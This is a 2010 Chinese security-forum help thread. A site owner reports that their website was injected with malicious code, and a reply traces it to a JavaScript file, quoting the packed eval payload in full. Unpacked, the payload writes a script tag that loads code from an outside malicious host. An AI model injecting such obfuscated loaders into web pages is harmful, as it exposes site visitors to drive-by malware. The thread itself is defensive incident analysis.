瑞星卡卡安全论坛技术交流区恶意网站交流 求助各位老大,网站被挂马一直找不到哪里被挂多谢

1   1  /  1  页   跳转

[求助] 求助各位老大,网站被挂马一直找不到哪里被挂多谢

求助各位老大,网站被挂马一直找不到哪里被挂多谢

求助

各位老大  网站被挂马 一直找不到哪里被挂


每次打开 都显示

网址是:  www.newslist.com.cn

发现 IE浏览器 访问恶意网址:http://ihuhk.9966.org/u/ads.php?aid=1 已被 360网盾 阻止 11:01:22


有病毒 截图 请老大们帮忙分析下


用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; QQDownload 1.7; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727)
最后编辑networkedition 最后编辑于 2010-05-12 11:18:52
分享到:
gototop
 

回复 1F 白鹤UIR 的帖子

在这个http://www.newslist.com.cn/include/dedeajax2.js下有个eval :

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4.f(\'<a b="5://6.1.8/e/2.9?3=0" d="c/7"></a>\')',62,16,'1|9966|ads|aid|document|http|ihuhk|javascript|org|php|script|src|text|type|u|writeln'.split('|'),0,{}))


eval解密出的那个链接地址已经失效了。
最后编辑networkedition 最后编辑于 2010-05-12 11:19:33
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT